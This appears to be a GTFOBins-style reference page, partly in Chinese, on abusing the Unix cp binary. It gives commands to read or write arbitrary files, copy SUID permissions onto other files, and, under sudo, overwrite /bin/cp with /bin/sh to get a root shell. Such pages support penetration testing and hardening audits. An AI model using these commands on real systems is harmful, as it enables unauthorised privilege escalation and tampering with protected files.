.. / cp

file-read

从文件中读取数据。

• LFILE=要读取的文件路径
  cp "$LFILE" /dev/stdout
  

file-write

将数据写入文件中。

• LFILE=要写入的文件
  echo "DATA" | cp /dev/stdin "$LFILE"
  

suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

• LFILE=要写入的文件
  echo "DATA" | ./cp /dev/stdin "$LFILE"
  

  This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of cp has the --parents option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)

  LFILE=要写入的文件
  TF=$(mktemp)
  echo "DATA" > $TF
  ./cp $TF $LFILE
  

  This can copy SUID permissions from any SUID binary (e.g., cp itself) to another.

  LFILE=要更改的文件
  ./cp --attributes-only --preserve=all ./cp "$LFILE"
  

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• LFILE=要写入的文件
  echo "DATA" | sudo cp /dev/stdin "$LFILE"
  

  This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of cp has the --parents option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)

  LFILE=要写入的文件
  TF=$(mktemp)
  echo "DATA" > $TF
  sudo cp $TF $LFILE
  

  This overrides cp itself with a shell (or any other executable) that is to be executed as root, useful in case a sudo rule allows to only run cp by path. Warning, this is a destructive action.

  sudo cp /bin/sh /bin/cp
  sudo cp